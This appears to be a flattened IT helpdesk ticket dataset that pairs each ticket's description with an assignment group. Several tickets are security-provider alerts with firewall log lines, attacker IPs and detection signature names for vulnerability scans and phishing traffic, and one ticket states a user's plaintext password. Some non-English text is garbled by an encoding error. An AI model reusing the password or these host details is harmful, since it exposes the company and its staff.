job SID\_38hotf failed in job\_scheduler at: 09/01/2016 22:20:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ie æµè§ˆå™¨ä¸»é¡µè¢«æ›´æ”¹ä¸ºé…’åº—ç½‘ç«™åœ°å€ã€‚, Description: ie æµè§ˆå™¨ä¸»é¡µè¢«æ›´æ”¹ä¸ºé…’åº—ç½‘ç«™åœ°å€ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: recall: ticket\_no1547270 - i need to request access to co02 - change production order in cgo1 and plant\_118., Description: \_x000D\_
\_x000D\_
received from: riqmdnzs.mtlghwex@gmail.com\_x000D\_
\_x000D\_
riqmdnzs mtlghwex would like to recall the message, " ticket\_no1547270 - i need to request access to co02 - change production order in cgo1 and plant\_118.".\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: é›»è…¦å‡ºç¾è—å±,ç„¡æ³•é–‹æ©Ÿ, Description: é€£vpnæ™‚,ç„¡æ³•é€£ä¸Šå¾Œ,é‡è©¦å¾Œ,çªç„¶å‡ºç¾è—å±,ç„¡æ³•é–‹æ©Ÿ, is assigned to Assignment group: GRP\_31.Ticket with Short description: spam, Description: -----original message-----\_x000D\_
from: nwfodmhc exurcwkm \_x000D\_
sent: friday, september 02, 2016 7:30 am\_x000D\_
to: umzcxfah aoshpjiu\_x000D\_
subject: re: new warehouse\_toolmail from (806) 290-5218 at 7:35 am\_x000D\_
\_x000D\_
hi marry,\_x000D\_
\_x000D\_
it looks like a spam mail. you can go ahead and delete it.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: no access to impact award hub, Description: the users do not have accees to impact award hub: parfgtkym, leegtysm, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2063d failed in job\_scheduler at: 09/01/2016 18:24:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2063d failed in job\_scheduler at: 09/01/2016 18:24:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: llvw8411311 shop floor / print station , Description: noise coming from cpu that sounds like a cooling fan or a hard drive going bad. machine located by the ultra's and wendt.
contact # 615 , is assigned to Assignment group: GRP\_3.Ticket with Short description: rebate agreements 92 will not create partial settlement, Description: rebate agreements 92 will not create a partial settlement with transaction vb(7 \_x000D\_
\_x000D\_
i have confirmed with agreement 92 specifically that there were sales during the month of august. other agreements are working to create the credit without fail. please advise what could be the cause and steps to correct. please also note this same process worked to generate the july documents ., is assigned to Assignment group: GRP\_13.Ticket with Short description: doing engineering\_tool advance search materials out of the group i select come up in results, Description: i picked titanium tial 6 4v but then p5 materials come up in results along with titanium, and s3 materials. i also had the kcu40 grade in the grade field, as i was doing a search for drilling, is assigned to Assignment group: GRP\_25.Ticket with Short description: all my files in collaboration\_platform have dierppeared!, Description: ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
rakthyesh ramdntythanjesh
hi craigfgh
arjpdohf mrqwdtil
hi
rakthyesh ramdntythanjesh
, is assigned to Assignment group: GRP\_16.Ticket with Short description: re: sql quote - company internal project (agathon machines), Description: \_x000D\_
\_x000D\_
received from: xzwlnbfo.plstfydx@gmail.com\_x000D\_
\_x000D\_
hi...can i get an update on this?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_53.Ticket with Short description: when trying to refresh a report, i am getting a pop up that says hana odbc driver not found., Description: when trying to refresh a report, i am getting a pop up that says hana odbc driver not found., is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage: secondary node down on company-na-usa-usa-dmvpn-1921-rtr01.company.com since at 3:04 pm et on 09/01 s, Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_3:04 pm et on 09/01\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: mapping printers , Description: mapping printers , is assigned to Assignment group: GRP\_0.Ticket with Short description: dsw in22210104, Description: we are seeing your 10.16.4.16/isensor04.company.com device generating '52734 vid28367 tor ssl server certificate detected - inbound' alerts that occurred on 2016-07-15 at 13:26:58 for traffic (not blocked) from port 9001/tcp of 95.211.216.9/95.211.216.9 to port 54528/tcp of 41.29.63.92663 indicating that 95.211.216.9/95.211.216.9 is generating tor traffic.\_x000D\_
\_x000D\_
please note that, depending on the placement of isensor04.company.com/10.16.4.16, there is a possibility that eszl8111123/41.29.63.92663 is your nated host. if this is the case, please examine your nat logs to determine the true destination of this activity. if you do not wish to be alerted on these events, please let us know and we will automatically resolve these alerts when they're destined to your nated host.\_x000D\_
\_x000D\_
tor activity does not immediately indicate malicious activity, however the presence of anonymizing software should be investigated to determine if this is authorized or expected activity. tor activity indicates a possible policy violation which in turn could lead to a potential compromise. tor is being increasingly used by malware, therefore tor activity may also indicate a malware infection.\_x000D\_
\_x000D\_
we are escalating this incident to you via a medium priority ticket and no phone call per our default handling policy. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. \_x000D\_
1) full escalation for anonymous communication traffic (tor, etc.) alerts where the traffic was not blocked (explicit notification via a high priority ticket and phone call)\_x000D\_
2) automatically resolve anonymous communication traffic (tor, etc.) alerts where the traffic was not blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
sincerely,\_x000D\_
dell soc, is assigned to Assignment group: GRP\_2.Ticket with Short description: incident #in33541962 - phishing form submit - outbound beshryulisted ip - dane-williuthyr, Description: we are seeing your 18.79.63.203/company-internal-asa.company.com-1 device generating '[ipbl]: phishing form submit - outbound beshryulisted ip' alerts for traffic from dane-williuthyr/10.38.93.30 to 107.180.41.85. the external ip address of 107.180.41.85 has been beshryulisted by our counter threat unit (ctu) team due to its association with malware (phishing form submit - outbound). the affected asset should be investigated as traffic to the beshryulisted ip address may indicate that the host has been infected by malware.
we are escalating this incident to you via a medium priority ticket and e-mail only notification per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at 877.
1) full escalation for related events (high priority ticket and a phone call).
2) autoresolve events to the portal (no explicit notification but events will be available for reporting purposes in the portal).
sincerely,
ctoc
=========================
event data
=========================
event id: 304247119
event summary: [ipbl]: phishing form submit - outbound beshryulisted ip
occurrence count: 1
event count: 1
host and connection information
source ip: 10.38.93.30
source hostname: dane-williuthyr
source mac address: 28:5a:eb:51:db:f0
destination ip: 107.180.41.85
destination hostname: ip-107-180-41-85.ip.secureserver.net.
destination ip geolocation: schtrtgoyhtsdale, usa
connection directionality: outgoing
device information
device ip: 18.79.63.203
device name: company-internal-asa.company.com-1
scwx event processing information
sherlock rule id (sle): 701525
inspector event id: 031724385
agent id: 103611
event detail:
aug 8 13:11:36 18.79.63.203 %asa-6-302013: built outbound tcp connection 2173940377 for outside:107.180.41.85/80 (107.180.41.85/80) to inside:10.38.93.30/58345 (12.161.199.50/14084)
[correlation\_data]
aug 8 06:46:44 27.38.93.278 dhcpd[2261]: dhcpack on 10.38.93.30 to 28:5a:eb:51:db:f0 (dane-williuthyr) via eth1 relay 10.38.92.1 lease-duration 604800 (renew)
take action
ticket action:
, is assigned to Assignment group: GRP\_2.Ticket with Short description: skype on the m.curhetyu rack pc is not working, not allowing me to connect but seems to work for others., Description: skype on the m.curhetyu rack pc is not working, not allowing me to connect but seems to work for others., is assigned to Assignment group: GRP\_3.Ticket with Short description: dsw in22457494, Description: dsw in33568505\_x000D\_
\_x000D\_
we are seeing your 172.20.10.208/isensor02.company.com device generating '49305 vid1029 openvas vulnerability scanner user-agent detected (inbound)' alerts for allowed traffic from port 55829/tcp of 198.8.80.219 to port 80/tcp of 30.28.15.015/30.28.15.015. this traffic indicates that 198.8.80.219 is using the openvas scanner, as indicated in the event details, against 30.28.15.015/30.28.15.015.\_x000D\_
\_x000D\_
blocking each source ip address may not necessarily be productive due to attackers' ability to switch ip addresses through the use of proxies, anonymizing software such as tor, and vpns. please investigate the targeted host to determine whether you are running a vulnerable version of the application being targeted. \_x000D\_
\_x000D\_
this ticket will effectively serve as a master ticket for any related alerts until we receive feedback from you on how to handle these events going forward. please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. we have a number of options available for the handling of future alerts such as this one:\_x000D\_
\_x000D\_
1) autoresolve these alerts directly to the portal (no explicit notification and events will be available for reporting purposes in the portal).\_x000D\_
2) ticket only escalation via a medium priority ticket (no phone call) for each unique source ip address for these alerts.\_x000D\_
3) full escalation via a high priority ticket and a phone call for each unique source ip address. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: possible vulnerability scan from host.my-tss.com (198.8.80.219) on isensplant\_247 (dmz), Description: dsw in33568733\_x000D\_
\_x000D\_
we are seeing your 208.211.136.207/isensplant\_247.company.com device generating '[o]: possible scan [696363]' alerts for traffic (not blocked) from host/198.8.80.219, indicating that it may be performing a vulnerability scan. \_x000D\_
\_x000D\_
we are escalating this incident to you via a high priority ticket and phone call per your prior request. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at 877. \_x000D\_
\_x000D\_
1) ticket only for vulnerability scan alerts (explicit notification via a medium priority ticket and (no phone call))\_x000D\_
2) automatically resolve vulnerability scan alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)\_x000D\_
\_x000D\_
\_x000D\_
event data\_x000D\_
=========================\_x000D\_
related events: \_x000D\_
event id: 43478312\_x000D\_
event summary: [o]: possible scan [696363]\_x000D\_
occurrence count: 52\_x000D\_
event count: 1\_x000D\_
\_x000D\_
host and connection information\_x000D\_
source ip: 198.8.80.219\_x000D\_
source hostname: host.my-tss.com.\_x000D\_
source port: 56260\_x000D\_
source ip geolocation: tarzana, usa\_x000D\_
destination port: 80\_x000D\_
destination ip geolocation: usa, usa\_x000D\_
connection directionality: incoming\_x000D\_
http method: get\_x000D\_
host: 208.211.136.164\_x000D\_
full url path: /global.asa\_x000D\_
\_x000D\_
device information\_x000D\_
device ip: 208.211.136.207\_x000D\_
device name: isensplant\_247.company.com\_x000D\_
log time: 2016-08-10 at 19:14:58 utc\_x000D\_
action: not blocked\_x000D\_
vendor eventid: 524719\_x000D\_
cvss score: -1 \_x000D\_
vendor priority: 3\_x000D\_
vendor version: 7\_x000D\_
vendor reference: vid, 1009\_x000D\_
\_x000D\_
scwx event processing information\_x000D\_
sherlock rule id (sle): 896059\_x000D\_
observation rule id (ile): 696363\_x000D\_
inspector event id: 61816560\_x000D\_
ontology id: 200020003203718788\_x000D\_
event type id: 200020003203017106\_x000D\_
agent id: 102989\_x000D\_
\_x000D\_
event detail:\_x000D\_
this event indicates a single source generating 3 or more event summaries with a total of 50 or more occurrences in a 10 minute window. \_x000D\_
occ time source destination summary\_x000D\_
1 19:15:34 198.8.80.219 208.211.136.164 5799 vid1009 fx-scanner global.asa sourcecode access attempt (inbound)\_x000D\_
1 19:15:43 198.8.80.219 30.28.15.015 5799 vid1009 fx-scanner global.asa sourcecode access attempt (inbound)\_x000D\_
20 19:19:50 198.8.80.219 208.211.136.164 50713 viSID\_26475 http post with phpinfo() (inbound)\_x000D\_
20 19:19:58 198.8.80.219 30.28.15.015 50713 viSID\_26475 http post with phpinfo() (inbound)\_x000D\_
5 19:23:12 198.8.80.219 30.28.15.015 36613 vid12927 generirtc http header xss inbound\_x000D\_
5 19:23:32 198.8.80.219 208.211.136.164 36613 vid12927 generirtc http header xss inbound\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: nmpworvu upgtrvnj // monitor display issue , Description: nmpworvu upgtrvnj // monitor display issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: password chaning for window (company), Description: password chaning for window (company), is assigned to Assignment group: GRP\_0.Ticket with Short description: connect to the network the pc's in the inspection room, Description: can you look in to getting the 2 pc's on to the network in the inspection room off of dept 48? it would be nice to be able to share some images from the pc., is assigned to Assignment group: GRP\_3.Ticket with Short description: ess password reset, Description: ess password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: inquiry for hr\_tool site single sign on, Description: inquiry for hr\_tool site single sign on, is assigned to Assignment group: GRP\_0.Ticket with Short description: high priority-laptop monitor gone bad, unable to see screen, its completely beshryu, Description: please give high priority since user is traveling from monday.
service tag-37q3p32
ph--574, is assigned to Assignment group: GRP\_3.Ticket with Short description: need keybankrd in system tray and need picture of keybankrd too., Description: need keybankrd in system tray and need picture of keybankrd too.
helped user enabling keybankrd at system tray with preferred language but couldn't set up picture for it.
hence as per user request assigning it to local it.
contact # ; 393
, is assigned to Assignment group: GRP\_62.Ticket with Short description: company-eu-deu-germany-e-b2-f2-new-office-3550-access-sw01 power supply issue., Description: internal power supply - on company-eu-deu-germany-e-b2-f2-new-office-3550-access-sw01 (68.20.26.7986) is showing faulty\_x000D\_
\_x000D\_
company-eu-deu-germany-e-b2-f2-new->sh env all\_x000D\_
fan is ok\_x000D\_
temperature is ok\_x000D\_
power is faulty\_x000D\_
rps is not present\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: unable to log in to hub/ess portal, Description: unable to log in to hub/ess portal, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool issue , Description: engineering\_tool issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp account for haunm keeps locking up, can you unlock please. SID\_34, Description: erp account for haunm keeps locking up, can you unlock please. SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool issue and zdsxmcwu thdjzolwronization , Description: engineering\_tool issue and zdsxmcwu thdjzolwronization , is assigned to Assignment group: GRP\_0.Ticket with Short description: request for company.com email address. , Description: from: jertyur hanna \_x000D\_
sent: thursday, september 01, 2016 8:02 pm\_x000D\_
to: efbwiadp dicafxhv\_x000D\_
subject: re: company email address request from sqmabtwn fchijage \_x000D\_
\_x000D\_
approved.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: blank call //gso, Description: blank call //gso, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset my password to daypay3 - SID\_51, Description: \_x000D\_
\_x000D\_
received from: bqjvxsaf.aupdonjy@gmail.com\_x000D\_
\_x000D\_
reset my password to daypay3 - SID\_51\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: hanna report access, Description: \_x000D\_
\_x000D\_
received from: muywpnof.prtikusy@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
i seem to have lost my access to hanna reports. when in go in to analysis for excel it takes me into the general excel menu and when i choose a new sheet, the analysis tab is missing. do i need to do something to get access to this back?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ie went to not legitmate website , Description: 814-
summary:on internet. pop-up with reported microsoft registry failure of operating system.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: die synchronisierung mit exchange activesync, Description: die synchronisierung mit exchange activesync ist auf ihrem gerÃ¤t vorÃ¼bergehend blockiert, bis der zugriff vom administrator gewÃ¤hrt wird., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype audio does not work., Description: skype audio does not work., is assigned to Assignment group: GRP\_0.Ticket with Short description: inc1541133 - ticket update, Description: inc1541133 - ticket update, is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: usa mi site is hard down at 9:29 am et on 09/01. there is no backup circuit., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_9:29 am et on 09/01\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: when sending emails from w-corp-ebusiness.service the sent emails show up in my personal sent folder , Description: contact # : 803
summary: when sending emails from w-corp-ebusiness.service the sent emails show up in my personal sent folder and not in the ebusiness sent folder.
it does this for all users in the company ebusiness email box
, is assigned to Assignment group: GRP\_26.Ticket with Short description: av system usa, Description: \_x000D\_
\_x000D\_
received from: gdkiehbr.kdithjsr@gmail.com\_x000D\_
\_x000D\_
please provide it support for the uacyltoe hxgayczeing on the new av system in the main training room in usa. we need to uacyltoe hxgaycze the system to complete the finial sign off for the vendor.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: ie not working., Description: ie not working., is assigned to Assignment group: GRP\_0.Ticket with Short description: hard disk failure on esxi host atjsv001, Description: hard disk failure on esxi host atjsv001, is assigned to Assignment group: GRP\_12.Ticket with Short description: unable to login to skype, Description: unable to login to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_108(kirty - plm conversion - production): disk free on e:\ is now 3%., Description: HostName\_108(kirty - plm conversion - production): disk free on e:\ is now 3%., is assigned to Assignment group: GRP\_12.Ticket with Short description: log on balancing error ; even after connecting to vpn, Description: log on balancing error ; even after connecting to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: email will not open, Description:
received from: wxnetroc.yecbmliq@gmail.com
desktop email will not open.
wxnetroc yecbmliq
252
sent from my ipad
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ms office upgrade ; from 2013 to 2016, Description: ms office upgrade ; from 2013 to 2016, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook issue slow, Description: outlook running slow., is assigned to Assignment group: GRP\_0.Ticket with Short description: network outage: india site is down at 9:00 am et on 09/01. no backup circuit., Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_\_no\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_9:00 am et on 09/01\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: printer driver installation, Description: name:rohntyub dfhtyuison
language:
browser:microsoft internet explorer
email:zstkagwu.jlyrhdcf@gmail.com
customer number:
telephone:83
summary:hello, i am having issues printing to my regular printer. i get an error saying "no pages selected" and sometimes i am prompted to download a new driver., is assigned to Assignment group: GRP\_0.Ticket with Short description: po - a4 4505633620, Description: hello it,\_x000D\_
\_x000D\_
there are 3 item linked with the finished materials 7302795, but only one time is showed in po. please help check it, , is assigned to Assignment group: GRP\_29.Ticket with Short description: the zcor0003 report will not work. this is critical to the financial close., Description: the transaction report zcor0003 when ran is producing no data. this is a sa38 report. this is critical to the financial close.\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: password reset does not work in iehs (ticket\_no1546057), Description: from: aorthyme rnsuipbk
sent: thursday, september 01, 2016 6:38 pm
to: 'iehshelpdesk.us@anteagroup.com'
cc: ndkrcxjb hpormqtx; ugyothfz ugrmkdhx
subject: password reset does not work in iehs (ticket\_no1546057)
hello,
mr. roesshnktler is having trouble to reset his password in
whenever he is trying to reset the password, it says that 'your password has been sent to the provided email address'. but he does not receive any password in his mail.
we have checked and rightly put the email address.
please help.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: wifi not working , Description: wifi not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: plm, Description:
received from: grkaqnzu.mldekqpi@gmail.com
hallo,
fÃ¼r unsere neuen azubis
hspgxeit prwiqjto (diehfhyumj)
und
hdmwolxq xqbevoic (bhdikthyu)
wird noch die plm-berechtigung benÃ¶tigt.
mit freundlichen grÃ¼ÃŸen,
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: please reactivate account for user : vvsimpj till 31st october 2016, Description: please reactivate account for user : vvsimpj till 31st october 2016, is assigned to Assignment group: GRP\_2.Ticket with Short description: erp SID\_34 password reset , Description: erp SID\_34 password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: .7z file can't be opened., Description: .7z file can't be opened., is assigned to Assignment group: GRP\_0.Ticket with Short description: erirtc wants to see an archived mail from a particular date., Description: erirtc wants to see an archived mail from a particular date., is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client is not working, Description: i cannot start the business\_client anymore, see screenshot attached., is assigned to Assignment group: GRP\_0.Ticket with Short description: one team update, Description: one team update, is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool - user is not able to import employee data // ooo till 5th sept, Description: user: ehidbxam.rnupoxeq@gmail.com\_x000D\_
issue: user is not able to import data to portal - please find attached mail., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 and SID\_21 unlock and password reset., Description: erp SID\_34 and SID\_21 unlock and password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: licwu3 unlock, Description: licwu3 unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: dnc430 unlock, Description: dnc430 unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: user called to reset password, account is disabled in ad : bmwtqxns.fcrqkhix@gmail.com, Description: user called to reset password, account is disabled in ad : bmwtqxns.fcrqkhix@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp password reset , erp SID\_34, Description: erp password reset , erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: monitor resolution issue, Description:
received from: zjawqgcs.tohqcxla@gmail.com
hi there,
i changed to a large monitor, but the screen resolution is not right. i want to change to 1900x1200, but got error message like this "the current input timing is not supported by the monitor display. please change your input timing to 1920x1080@60hz or any other monitor listed timing as per the monitor specifications"
can you help me out please?
, is assigned to Assignment group: GRP\_3.Ticket with Short description: email not working, Description: \_x000D\_
\_x000D\_
received from: zjawqgcs.tohqcxla@gmail.com\_x000D\_
\_x000D\_
hi there,\_x000D\_
\_x000D\_
\_x000D\_
i tried to use my email but it still shows loading after 30 mins. i have use the web-based office to check email.\_x000D\_
\_x000D\_
can you help to fix that? , is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2 - can not sign in , Description:
received from: oxrnpuys.oxizkwmq@gmail.com
i cannot sign in
alexgnhtjunder
[cid:image001.jpg@01d20453.21c570f0]
[cid:image002.jpg@01d20453.21c570f0]
best , is assigned to Assignment group: GRP\_19.Ticket with Short description: please assist erp log on need to be reset. not sure why but cant log on., Description:
received from: gvderpbx.udrzjxkm@gmail.com
gvderpbx udrzjxkm
junior application sales engineer
gvderpbx.udrzjxkm@gmail.com<mailto:gvderpbx.udrzjxkm@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: please assist, symantec questions and answers., Description:
received from: gvderpbx.udrzjxkm@gmail.com
[cid:image001.jpg@01d20451.9d7b95f0]
gvderpbx udrzjxkm
junior application sales engineer
gvderpbx.udrzjxkm@gmail.com<mailto:gvderpbx.udrzjxkm@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ad locked out, Description: ad locked out : password reset through password\_management\_tool password manager., is assigned to Assignment group: GRP\_0.Ticket with Short description: quality certificate abode form over lapping, Description: quality certificate abode form over lapping in one page. can u rectify it in page 1 and page2. \_x000D\_
i have attached one example form for your reference., is assigned to Assignment group: GRP\_45.Ticket with Short description: circuit outage : apac,apac-dmvpn circuit is down at 5:13 am et on 09/01. site is up on primary circuit., Description: what type of outage: \_\_\_\_\_network \_x\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_slo site\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_ 5:13 am et on 09/01\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_na\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
